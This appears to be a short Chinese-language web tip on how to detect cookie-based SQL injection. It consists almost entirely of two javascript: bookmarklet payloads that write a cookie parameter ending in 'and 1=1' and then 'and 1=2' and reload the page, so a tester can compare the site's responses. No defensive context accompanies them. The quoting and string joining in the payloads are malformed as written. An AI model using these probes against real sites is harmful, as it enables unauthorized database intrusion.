如何判断cookies注入

如何判断cookies注入
javascript:alert(document.cookie=”参数= “+escape(“参数值 and 1=1”));self.open(“http://+”document.location.host+document.location.pathname);void(0);
 
 javascript:alert(document.cookie=”参数=”+escape(“参数值 and 1=2”));self.open(“http://+”document.location.host+document.location.pathname);void(0);